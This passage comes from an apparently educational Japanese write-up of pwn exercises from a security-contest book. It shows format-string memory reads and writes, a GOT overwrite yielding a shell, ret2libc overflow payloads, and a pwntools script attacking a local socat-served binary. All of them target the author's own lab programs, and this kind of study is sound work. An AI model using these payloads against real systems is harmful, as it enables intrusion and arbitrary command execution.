逆アセンブラを表示した後、fgets の次の行の printf関数を実行する直前まで進めました。スタックを見てみると、0000(最後にスタックに push した値)は、第1引数のユーザ入力(AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p)になっています。第2引数以降は、0004、0008 が %p によって表示されることになります。0xffffd3d4 だけ異なりますね、なんででしょう。

[----------------------------------registers-----------------------------------]
EAX: 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0x0
EDX: 0xf7e1e9c4 --> 0x0
ESI: 0x8048540 (<__libc_csu_init>:      push   ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd318 --> 0x0
ESP: 0xffffd270 --> 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
EIP: 0x8048503 (<main+70>:      call   0x8048370 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484f7 <main+58>: call   0x8048380 <fgets@plt>
   0x80484fc <main+63>: lea    eax,[esp+0x1c]
   0x8048500 <main+67>: mov    DWORD PTR [esp],eax
=> 0x8048503 <main+70>: call   0x8048370 <printf@plt>
   0x8048508 <main+75>: mov    eax,ds:0x804a028
   0x804850d <main+80>: mov    DWORD PTR [esp+0x4],eax
   0x8048511 <main+84>: mov    DWORD PTR [esp],0x80485d0
   0x8048518 <main+91>: call   0x8048370 <printf@plt>
Guessed arguments:
arg[0]: 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd270 --> 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
0004| 0xffffd274 --> 0x80
0008| 0xffffd278 --> 0xf7e1d620 --> 0xfbad2288
0012| 0xffffd27c --> 0xffffd3d4 --> 0xffffd520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/fsb/fsb")
0016| 0xffffd280 --> 0xf7ffcff4 --> 0x33f14
0020| 0xffffd284 --> 0x2c (',')
0024| 0xffffd288 --> 0x0
0028| 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 2, 0x08048503 in main ()
gdb-peda$ x/9xw $sp+4
0xffffd274:     0x00000080      0xf7e1d620      0xffffd3d4      0xf7ffcff4
0xffffd284:     0x0000002c      0x00000000      0x41414141      0x252c7025
0xffffd294:     0x70252c70

逆アセンブラを表示します。1つだけ変化してたのは、main関数の第2引数の 1つ目(argv[0]、つまり、fsb)が格納されているアドレスです。なぜ変化したのかは分かりません。

先頭の 0x80 は、fget の第1引数で、7番目以降は fgets で入力された値が入っています(AAAAAAAA%p,%p,%p,%p,%p,%p,%p,%p,%p)。

gdb-peda$ disas
Dump of assembler code for function main:
   0x080484bd <+0>:     push   ebp
   0x080484be <+1>:     mov    ebp,esp
   0x080484c0 <+3>:     and    esp,0xfffffff0
   0x080484c3 <+6>:     sub    esp,0xa0
   0x080484c9 <+12>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484cc <+15>:    mov    DWORD PTR [esp+0xc],eax
   0x080484d0 <+19>:    mov    eax,gs:0x14
   0x080484d6 <+25>:    mov    DWORD PTR [esp+0x9c],eax
   0x080484dd <+32>:    xor    eax,eax
   0x080484df <+34>:    mov    eax,ds:0x804a02c
   0x080484e4 <+39>:    mov    DWORD PTR [esp+0x8],eax
   0x080484e8 <+43>:    mov    DWORD PTR [esp+0x4],0x80
   0x080484f0 <+51>:    lea    eax,[esp+0x1c]
   0x080484f4 <+55>:    mov    DWORD PTR [esp],eax
   0x080484f7 <+58>:    call   0x8048380 <fgets@plt>
   0x080484fc <+63>:    lea    eax,[esp+0x1c]
   0x08048500 <+67>:    mov    DWORD PTR [esp],eax
=> 0x08048503 <+70>:    call   0x8048370 <printf@plt>
   0x08048508 <+75>:    mov    eax,ds:0x804a028
   0x0804850d <+80>:    mov    DWORD PTR [esp+0x4],eax
   0x08048511 <+84>:    mov    DWORD PTR [esp],0x80485d0
   0x08048518 <+91>:    call   0x8048370 <printf@plt>
   0x0804851d <+96>:    mov    eax,0x0
   0x08048522 <+101>:   mov    edx,DWORD PTR [esp+0x9c]
   0x08048529 <+108>:   xor    edx,DWORD PTR gs:0x14
   0x08048530 <+115>:   je     0x8048537 <main+122>
   0x08048532 <+117>:   call   0x8048390 <__stack_chk_fail@plt>
   0x08048537 <+122>:   leave
   0x08048538 <+123>:   ret
End of assembler dump.

では、ようやく任意のアドレスのデータを読み取る方法です。7番目の %p に、AAAA が入ることが分かったので、ここに読み出したいアドレスを設定し、%p を %s にすると、対象の 4byte が読み出せます。

今回は、変数secret の値を読み出すので、変数secretのアドレスを調べます。

$ nm fsb | grep secret
0804a028 D secret

では、やってみます。

バイナリなので、文字化けしてしまいました。hexdumpコマンドに結果を渡して表示してみます。アドレスの 35 から 4byte に、secret の値が入っています(78 56 34 12)。無事に読み出せたようです。

$ echo -e '\x28\xa0\x04\x08%p,%p,%p,%p,%p,%p,%s,%p,%p' | ./fsb
(0x80,0xf7e1d620,0xffffd4a4,0xf7ffcff4,0x2c,(nil),xV4 已・0x252c7025,0x70252c70
secret = 0x12345678

$ echo -e '\x28\xa0\x04\x08%p,%p,%p,%p,%p,%p,%s,%p,%p' | ./fsb | hexdump -C
00000000  28 a0 04 08 30 78 38 30  2c 30 78 66 37 65 31 64  |(...0x80,0xf7e1d|
00000010  36 32 30 2c 30 78 66 66  66 66 64 34 61 34 2c 30  |620,0xffffd4a4,0|
00000020  78 66 37 66 66 63 66 66  34 2c 30 78 32 63 2c 28  |xf7ffcff4,0x2c,(|
00000030  6e 69 6c 29 2c 78 56 34  12 20 d6 e1 f7 2c 30 78  |nil),xV4. ...,0x|
00000040  32 35 32 63 37 30 32 35  2c 30 78 37 30 32 35 32  |252c7025,0x70252|
00000050  63 37 30 0a 73 65 63 72  65 74 20 3d 20 30 78 31  |c70.secret = 0x1|
00000060  32 33 34 35 36 37 38 0a                           |2345678.|
00000068

%p をたくさん並べなくても、7番目だけ指定する方法があります。ダイレクトパラメータアクセスという方法で、%n$s のような書き方です(全ての処理系で使えるわけではないかもしれません)。では、やってみます。

アドレス 4 からが、secret の値です。

$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C
00000000  28 a0 04 08 78 56 34 12  20 d6 e1 f7 0a 73 65 63  |(...xV4. ....sec|
00000010  72 65 74 20 3d 20 30 78  31 32 33 34 35 36 37 38  |ret = 0x12345678|
00000020  0a                                                |.|
00000021

以上が、任意のアドレスのデータの読み込みでした。

書式文字列攻撃:任意のアドレスにデータを書き込む

次は、任意のアドレスにデータを書き込む方法です。先ほどの printf関数で指定した %n$s と似た方法で、%n$n を指定すると、そのときまでに printf関数が出力したバイト数を書き込んでくれるというものです。

簡単なプログラムで確認します。変数 num に、そのときまでに、printf関数が出力したバイト数(6byte)を、num に書き込んでくれます。一応、その後、num の値を確認しています。

#include <stdio.h>

int main( int argc, void *argv[] )
{
    unsigned int num = 0;
    
    printf( "123456%n\n", &num );
    
    printf( "%d\n", num );
}

では、実行してみます。

期待通り、6byte の 6 が出力されました。

$ gcc -o percent_n.out percent_n.c

$ ./percent_n.out
123456
6

この要領で、fsb の方もやってみます。先ほど、%7$s を指定したところを、%7$n に変更して実行してみます。

secret は 0x12345678 のはずですが、%7$n によって、それまで表示したバイト数の 4 が書き込まれています。つまり、最初の 4byte で指定したアドレス \x28\xa0\x04\x08 に、任意の値を書き込むことが出来ました。一応、8 を書き込むパターンも追加しておきます。

$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb
(
secret = 0x4

$ echo -e '\x28\xa0\x04\x08AAAA%7$n' | ./fsb
(AAAA
secret = 0x8

これを使うと、4byte の任意の整数の値を書き込むことが出来ますが、4byte は、0 から 4,294,967,295 の値が入るので、任意の値と言っても、大きい値の場合は、指定する文字数がえらいことになります。

%n の 2byte版の %hn、1byte版の %hhn が用意されています。

一応、簡単なプログラムで確認します。

#include <stdio.h>

int main( int argc, void *argv[] )
{
    unsigned char  hhn = 0;
    unsigned short hn  = 0;
    unsigned int   n   = 0;
    
    printf( "123%hhn\n",    &hhn );
    printf( "123456%hn\n",  &hn );
    printf( "12345678%n\n", &n );
    
    printf( "%d\n", hhn );
    printf( "%d\n", hn );
    printf( "%d\n", n );
}

実行してみます。

$ gcc -o percent_hn_hhn.out percent_hn_hhn.c

$ ./percent_hn_hhn.out
123
123456
12345678
3
6
8
書式文字列攻撃:GOT領域を書き換えて、system関数を使ってシェルを取る

ステップ4 もようやく最後になりました。書式文字列攻撃を使って、有名な GOT overwrite をやっていきます。まず、ここで使用するソースコードです。

GOT領域には共有ライブラリのアドレスが格納されたテーブルです。system関数は、文字列の引数が 1つです。1回目の printf関数で、書式文字列攻撃を行い、GOT領域の strlen関数を system関数に書き換えます。2回目の printf関数の引数の strlen関数は、system関数に置き換わってるはずなので、2回目の fgets関数には system関数の引数として /bin/sh を与えます。これにより、シェルを取ることができます。

// got.c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf(str);

    fgets(str, 128, stdin);
    printf("%d\n", strlen(str));
    return 0;
}

今回も、ASLR は無効な状態でやります。GOT領域の表示して、strlen関数のアドレスを調べます。readelfコマンドを使います。readelfコマンドは、rオプションでリロケーション情報を表示できます。strlen関数のアドレスは、0x0804a01c です。

$ readelf -r got

Relocation section '.rel.dyn' at offset 0x31c contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
0804a02c  00000805 R_386_COPY        0804a02c   stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x32c contains 6 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
0804a018  00000407 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a01c  00000507 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
0804a020  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

system関数のアドレスを調べます。0xf7c4c8c0 でした。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7c4c8c0 <system>

1回目の printf関数で書式文字列攻撃を行うので、何番目の引数かを調べます。

今回も 7番目の引数でした。

$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p' | ./got
AAAA0x80,0xf7e1d620,0xffffd4a4,0xf7ffcff4,0x2c,(nil),0x41414141,0x252c7025
28

GOT領域の strlen関数のところに書き込みたい値は、system関数のアドレスであり、0xf7c4c8c0 です。これを実現するには、printf関数として、0xf7c4c8c0=4,156,868,800 個の文字を出力させなければなりません。ちょっと多いので、0xf7c40xc8c0 の 2byteずつに分けます(リトルエンディアンなので、0xc8c00xf7c4 の順です)。

printf関数の 7番目の引数に %7$hn、8番目の引数に %8$hn を指定して、プログラムに入力する内容の先頭は、0x0804a01c0x0804a01e とします。この 2つで 8文字出力してるので、0xc8c0=51,392 から 8文字引いた文字数を出力します(51,384文字)。出力する方法は、%51384x とすれば空白がたくさん出力できます。

0xf7c4=63,428 の方は、8文字+51,384文字出力してるので、63,428-8-51,384=12,036 文字出力すればいいことになります。これらを踏まえると、次のように実行します。

出来ました!シェルでコマンドが実行できてます!

$ (echo -e '\x1c\xa0\x04\x08\x1e\xa0\x04\x08%51384x%7$hn%12036x%8$hn\n/bin/sh'; cat) | ./got
(大量の空白)
ls
fsb  fsb.c  got  got.c  peda-session-fsb.txt  peda-session-got.txt
exit
0
exit

ようやく、ステップ4 が終わりました。

ステップ5:pwn!pwn!pwn!

ステップ5 では、ASLR の回避方法を学びます。2つの方法があり、1つ目は、アドレスがランダムになると言っても、32bitだと範囲が限られるため、1つのアドレスを決め打ちして、そのアドレスになるまで繰り返す方法です(ブルートフォース)。

2つ目の方法は、GOT領域に格納されている libc の関数のアドレスを獲得して、libc 内の別の関数との相対的なアドレス位置は変わらないので、所望の関数とのアドレスを計算して求める方法です。

では、順番にやっていきます。

ASLRの回避:ブルートフォース

まず、無効にしていた ASLR を有効に戻します。

$ sudo su

# sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

# cat /proc/sys/kernel/randomize_va_space
2

# exit
exit

次に、ASLR の挙動を lddコマンドを使って、確かめます(指定するプログラムは何でもいいです)。

うーん?libc のアドレスが固定されています。

$ ldd got
        linux-gate.so.1 (0xf7f2b000)
        libc.so.6 => /lib32/libc.so.6 (0xf7c00000)
        /lib/ld-linux.so.2 (0xf7f2d000)

$ ldd got
        linux-gate.so.1 (0xf7f0d000)
        libc.so.6 => /lib32/libc.so.6 (0xf7c00000)
        /lib/ld-linux.so.2 (0xf7f0f000)

$ ldd got
        linux-gate.so.1 (0xf7f64000)
        libc.so.6 => /lib32/libc.so.6 (0xf7c00000)
        /lib/ld-linux.so.2 (0xf7f66000)

以前、checksec を調べた以下の記事で、自分で作ったプログラムを動かしてみます。

daisuke20240310.hatenablog.com

ちょっと余計なコードもありますが、自分のプログラムのアドレス(main関数のアドレス)、スタックのアドレス(buf)、ヒープのアドレス(malloc関数で確保した mbuf のアドレス)、libc のアドレス(malloc関数のアドレス)を表示しています。

#include <stdio.h>
#include <stdlib.h>

int sub( int data )
{
  int data2;
  
  printf( "input data2: " );
  
  scanf( "%d", &data2 );
  
  return data + data2;
}

int main( int argc, void *argv[] )
{
  int ret, data;
  char buf[20], *mbuf;
  
  mbuf = malloc( 20 );
  
  printf( "  main: %p\n", main );
  printf( "   buf: %p\n",  buf );
  printf( "  mbuf: %p\n", mbuf );
  printf( "malloc: %p\n", malloc );
  
  printf( "input data: " );
  
  scanf( "%d", &data );
  
  ret = sub( data );
  
  printf( "result: %d", ret );
  
  if( ret > 0 )
    return 0;
  else
    return 1;
}

実行してみます。

これを見ると、どれも ASLR が効いてるように見えます。以前、どこかの書籍で、ldd のアドレスは正しくないことがある、というような内容を見たことがあります。ASLR は有効になっていると信じて先に進みます。

$ ./hello_hello.out
  main: 0x55efc560e18d
   buf: 0x7ffd448f6830
  mbuf: 0x55efc63782a0
malloc: 0x7f9ab00c4870
input data: 1
input data2: 2
result: 3

$ ./hello_hello.out
  main: 0x5613c8a2e18d
   buf: 0x7ffc7db4a470
  mbuf: 0x5613ca6be2a0
malloc: 0x7f9692f3a870
input data: 2
input data2: 3
result: 5

$ ./hello_hello.out
  main: 0x55a2e557518d
   buf: 0x7ffe5c6213f0
  mbuf: 0x55a2e73562a0
malloc: 0x7f9c7921e870
input data: 4
input data2: 5
result: 9

書籍には、32bitプログラムの場合と、64bitプログラムの場合で、ランダム化されるアドレスのビット数が、以下のように、書かれています。

領域 32bit 64bit
スタック領域 11bit 20bit
mmap領域 8bit 28bit
ヒープ領域 13bit 13bit

これらが、何に依存して決まっているのかの説明はありません。また、分かり次第、ここに追記するか、別の記事で書こうと思います。

共有ライブラリは、mmap を用いてメモリ上に配置されるとのことなので、32bit環境では、8bit(256通り)のランダム化しかできないことになります。では、実際に試して、ブルートフォースな ASLR の回避が可能なのかを確認します。

今回使用するプログラムです。

write関数で、1(標準出力)に出力してるので、第2引数の msg のアドレスから、第3引数のバイト数だけコンソールに出力されることになります。read関数は、0(標準入力)から、配列変数 buf に、最大 128byteを入力として受け付けます。ここでバッファオーバーフローが起こせます。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char msg[] = "Hello\n";
    char buf[32];
    write(1, msg, strlen(msg));
    read(0, buf, 128);
    return 0;
}

攻撃のシナリオとしては、main関数のリターンアドレスを、system関数に書き換えてシェルを取りに行きます。

これまでは、ASLR が無効だったので、libc のアドレスが固定だったので、あらかじめ system関数のアドレスを調べておけば攻撃が成功しました。ASLR が有効になると、system関数のアドレスが分からなくなるのですが、1つの候補を設定して、何回も攻撃すれば、いつか成功するはず、というのがブルートフォースな ASLR の回避方法です。

あと、書籍に紹介がありますが、libc には、"/bin/sh" という文字列が存在しているそうです。よって、わざわざ、"/bin/sh" を用意しなくても大丈夫です。確認してみます。

確かに存在してました。-t は発見した文字列の先頭からのオフセットを出力してくれるオプションです。x は、それを16進数で出力するという意味です。"/bin/sh" の libc内の相対アドレスは、0x001b5faa ということが分かりました。

$ strings -tx /lib32/libc.so.6 | grep /bin/sh
 1b5faa /bin/sh

あとは、同じ libc 内の system関数のアドレスを調べます。nmコマンドに Dオプションを付けると、動的シンボルテーブルを表示してくれます。nmコマンドに Dオプションを付けない場合は静的シンボルテーブルを表示します。ただし、strip された場合は、静的シンボルテーブルは削除されるので、Dオプションを付けて動的シンボルテーブルを表示する必要があるようです。

system関数のlibc内の相対アドレスは 0x0004c8c0 だと分かりました。

$ nm -D /lib32/libc.so.6 | grep system
0004c8c0 T __libc_system@@GLIBC_PRIVATE
00160fd0 T svcerr_systemerr@GLIBC_2.0
0004c8c0 W system@@GLIBC_2.0

先ほどの lddコマンドで、libc のアドレスのうち、1つ(なぜか全部一緒でしたが、、)は分かっているので、これらの相対アドレスを使えば、リターンアドレスを system関数に書き換えることが出来ます。system関数のアドレスは、0xf7c00000+0x0004c8c0=0xF7C4C8C0 で、"/bin/sh" のアドレスは、0xf7c00000+0x001b5faa=0xF7DB5FAA です。

あとは、リターンアドレスの位置を調べます。まずは、簡単に実行してみます。

32byte の buf に、40byte書き込むと問題ないですが、128byte書き込むと、セグメンテーションフォールトが発生します。まだ確認してないですが、大きくバッファオーバーフローすると、リターンアドレスが書き換わって、変なところに飛ぶので、セグメンテーションフォールトが起きるということでしょうか。

$ ./bof4
Hello
a

$ python -c 'print("A" * 40)' | ./bof4
Hello

$ python -c 'print("A" * 128)' | ./bof4
Hello
Segmentation fault

GDB で確認してみます。

スタックを 64byte 確保して、確保した領域の末尾に、"Hello\n" を格納します。そのアドレスを引数としてスタックに積んで、strlen関数を呼び出します。戻り値を第3引数のスタックの位置に積みます。残りの引数をスタックに積んで、write関数を呼び出します。次の read関数の引数をスタックに積んで、read関数を呼び出して、main関数が終了します。

$ gdb -q bof4

gdb-peda$ start

gdb-peda$ disas
Dump of assembler code for function main:
   0x0804847d <+0>:     push   ebp
   0x0804847e <+1>:     mov    ebp,esp
=> 0x08048480 <+3>:     and    esp,0xfffffff0
   0x08048483 <+6>:     sub    esp,0x40
   0x08048486 <+9>:     mov    DWORD PTR [esp+0x39],0x6c6c6548
   0x0804848e <+17>:    mov    WORD PTR [esp+0x3d],0xa6f
   0x08048495 <+24>:    mov    BYTE PTR [esp+0x3f],0x0
   0x0804849a <+29>:    lea    eax,[esp+0x39]
   0x0804849e <+33>:    mov    DWORD PTR [esp],eax
   0x080484a1 <+36>:    call   0x8048350 <strlen@plt>
   0x080484a6 <+41>:    mov    DWORD PTR [esp+0x8],eax
   0x080484aa <+45>:    lea    eax,[esp+0x39]
   0x080484ae <+49>:    mov    DWORD PTR [esp+0x4],eax
   0x080484b2 <+53>:    mov    DWORD PTR [esp],0x1
   0x080484b9 <+60>:    call   0x8048370 <write@plt>
   0x080484be <+65>:    mov    DWORD PTR [esp+0x8],0x80
   0x080484c6 <+73>:    lea    eax,[esp+0x19]
   0x080484ca <+77>:    mov    DWORD PTR [esp+0x4],eax
   0x080484ce <+81>:    mov    DWORD PTR [esp],0x0
   0x080484d5 <+88>:    call   0x8048330 <read@plt>
   0x080484da <+93>:    mov    eax,0x0
   0x080484df <+98>:    leave
   0x080484e0 <+99>:    ret
End of assembler dump.

32byte の変数 buf は、64byte 確保したスタックのうちのオフセット 0x19(25)が開始アドレスです。スタックが 64-25=39byte で、ebp の 4byte があって、リターンアドレスがあるはずです。39+4=43byte を超えて書き込んだら、リターンアドレスが壊れます。

GDB で見たところ、+3 の and esp,0xfffffff0 の 16byteアライメントのところで、最下位の 4bit が 8 でした。なので、ここで、さらに、8byte の余裕があります。よって、43+8=51byte を超えて書き込んだら、リターンアドレスが壊れます。

確かに、40byte ではセグメンテーションフォールトが出なくて、128byteだとセグメンテーションフォールトが出る理由が分かりました。

続いて、pattern_create(pattc)と patto でも、同じことを確認してみます。

同じく 51 が出力されました。

$ gdb -q bof4

gdb-peda$ pattc 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Starting program: /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0xffffd2e9 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
EDX: 0x80
ESI: 0x80484f0 (<__libc_csu_init>:      push   ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41416241 ('AbAA')
ESP: 0xffffd320 ("AAcAA2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
EIP: 0x47414131 ('1AAG')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x47414131
[------------------------------------stack-------------------------------------]
0000| 0xffffd320 ("AAcAA2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
0004| 0xffffd324 ("A2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
0008| 0xffffd328 --> 0xffff0a48 --> 0x0
0012| 0xffffd32c --> 0xffffd340 --> 0xf7e1cff4 --> 0x21cd8c
0016| 0xffffd330 --> 0xf7e1cff4 --> 0x21cd8c
0020| 0xffffd334 --> 0x804847d (<main>: push   ebp)
0024| 0xffffd338 --> 0x1
0028| 0xffffd33c --> 0xffffd3d4 --> 0xffffd521 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x47414131 in ?? ()
gdb-peda$ patto 1AAG
1AAG found at offset: 51

攻撃をやってみます。書籍では、いきなりスクリプトで実行してみますが、まずは今まで通り、コマンドを打ってやってみます。

51個の A を与えて、system関数のアドレス、system関数のリターンアドレスは何でもいいので BBBB、引数の "/bin/sh" のアドレスを与えればいいはずです。

うまくいきました!けど、3回やって、3回ともうまくいきます。ASLR が効いていない気がしますが、先に進みます。

$ python -c 'print("A" * 51)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ (echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xC0\xC8\xC4\xF7BBBB\xAA\x
5F\xDB\xF7'; cat) | ./bof4
Hello
ls
aslr.py  bof4    bruteforce.py  peda-session-bof4.txt  pwnable.log
atk.bin  bof4.c  leak.py        peda-session-dash.txt
exit
exit
Segmentation fault

では、Pythonスクリプトを実装します。書籍では、pwntools を紹介しているのに、テンプレートを用意していて、それを書き換えて実装していますが、ここでは pwntools を使って実装します。

socatコマンドを使ってリモートアクセスするので、そのように実装しています。ポート番号は何でもいいので、4000番になっています。

まず、上と同じようにリターンアドレスの書き換えを実行して、シェルが取れてたら、idコマンドの結果が返ってくるので終了します。シェルが取れてなかったら、最初からやり直すという実装になっています。

import os, sys
from pwn import *

def prologue_remote( adrs, port ):
    
    # サーバに接続
    proc = remote( adrs, port )
    
    # 1st message
    print( proc.recv(timeout=1) )
    
    return proc

def overwrite_ret_adrs( proc, cnt, adrs, to=1, dmy=b'\x41' ):
    
    ss = dmy * cnt + adrs
    print( ss )
    proc.sendline( ss )
    
    # receive error
    print( proc.recv(timeout=to) )

while True:
    proc = prologue_remote( '127.0.0.1', 4000 )
    
    adrs = b''
    adrs += p32( 0xF7C4C8C0 )
    adrs += p32( 0x42424242 ) # BBBB
    adrs += p32( 0xF7DB5FAA )
    overwrite_ret_adrs( proc, 51, adrs, to=0.1 )
    
    proc.sendline( b'id\nexit' ) # idコマンド
    result = proc.recv( timeout=0.1 )
    if len(result) > 0:
        print( result )
        break

では、実行してみます。

事前に、socatコマンドで、bof4 を起動しておきます。

$ socat TCP-LISTEN:4000,reuseaddr,fork EXEC:./bof4

1回目でうまくいきました。何回やっても、1回でうまくいきます。つまり、libc のアドレスは固定なんだと思います。うーん、少し残念ですが、仕方ありません。

$ python ../../../../python/tmp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
b'Hello\n'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc8\xc4\xf7BBBB\xaa_\xdb\xf7'
b''
b'uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),106(netdev),113(lpadmin),114(bluetooth),121(scanner)\n'
[*] Closed connection to 127.0.0.1 port 4000

ASLR の回避方法として、ブルートフォースを使った方法については以上になります。

ASLRの回避:アドレスリーク

ここでも、プログラムは、同じ bof4 を使います。bof4 には、GOT領域が存在し、そこには、libc のアドレスが格納されています。このアドレスが分かれば、libc内の相対的な位置関係は変わらないので、system関数のアドレスが計算できます。

書籍では、GOT領域の __libc_start_main関数をターゲットにしています。ret2plt を使い、main関数のリターンアドレスの書き換えで、write@plt にジャンプさせます。write関数の引数として、__libc_start_main関数の GOT領域を指定して、__libc_start_main関数の絶対アドレスを標準出力に出力させます。

実際に必要なのは、system関数の絶対アドレスです。そのために、libc内の相対アドレスを取得しておきます。以下で、__libc_start_main関数の libc内の相対アドレスは 0x00023310 で、system関数の libc内の相対アドレスは 0x0004c8c0 であることが分かります。

__libc_start_main関数の絶対アドレスから、__libc_start_main関数の相対アドレスを引くと、libc の先頭アドレスが求まります。それに、system関数の相対アドレスを足せば、system関数の絶対アドレスが求まります。

$ nm -D /lib32/libc.so.6 | grep libc_start_main
00023310 T __libc_start_main@@GLIBC_2.34
00023310 T __libc_start_main@GLIBC_2.0

$ nm -D /lib32/libc.so.6 | grep system
0004c8c0 T __libc_system@@GLIBC_PRIVATE
00160fd0 T svcerr_systemerr@GLIBC_2.0
0004c8c0 W system@@GLIBC_2.0

ここで、少し疑問があります。__libc_start_main関数の GOT領域は、書き込み可能なのか、ということです。まず、checksec を実行してみます。

RELRO は、Partial になっています。GOT領域は、書き込み可能なものと、書き込み不可のものの両方を含んでいることになります。

$ checksec --file=bof4
RELRO           STACK CANARY      NX            PIE      RPATH      RUNPATH      Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE   No RPATH   No RUNPATH   69 Symbols  No       0          1            bof4

続いて、リロケーション情報を見てみます。GOT領域の詳細が分かりました。

$ readelf -r bof4

Relocation section '.rel.dyn' at offset 0x2c4 contains 1 entry:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2cc contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a014  00000307 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a01c  00000507 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0

GDB で、メモリマップを表示します。0x804a000 から書き込み可能です。つまり、上の GOT領域のうち、__gmon_start__ 以外(__libc_start_main関数も書き込み可能)は、書き込み可能な GOT領域ということが確認できました。

gdb-peda$ i proc map
process 2261
Mapped address spaces:

        Start Addr   End Addr       Size     Offset  Perms   objfile
         0x8048000  0x8049000     0x1000        0x0  r-xp   /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
         0x8049000  0x804a000     0x1000        0x0  r--p   /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
         0x804a000  0x804b000     0x1000     0x1000  rw-p   /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
        0xf7c00000 0xf7c22000    0x22000        0x0  r--p   /usr/lib32/libc.so.6
        0xf7c22000 0xf7d9b000   0x179000    0x22000  r-xp   /usr/lib32/libc.so.6
        0xf7d9b000 0xf7e1b000    0x80000   0x19b000  r--p   /usr/lib32/libc.so.6
        0xf7e1b000 0xf7e1d000     0x2000   0x21b000  r--p   /usr/lib32/libc.so.6
        0xf7e1d000 0xf7e1e000     0x1000   0x21d000  rw-p   /usr/lib32/libc.so.6
        0xf7e1e000 0xf7e28000     0xa000        0x0  rw-p
        0xf7fc1000 0xf7fc3000     0x2000        0x0  rw-p
        0xf7fc3000 0xf7fc7000     0x4000        0x0  r--p   [vvar]
        0xf7fc7000 0xf7fc9000     0x2000        0x0  r-xp   [vdso]
        0xf7fc9000 0xf7fca000     0x1000        0x0  r--p   /usr/lib32/ld-linux.so.2
        0xf7fca000 0xf7fed000    0x23000     0x1000  r-xp   /usr/lib32/ld-linux.so.2
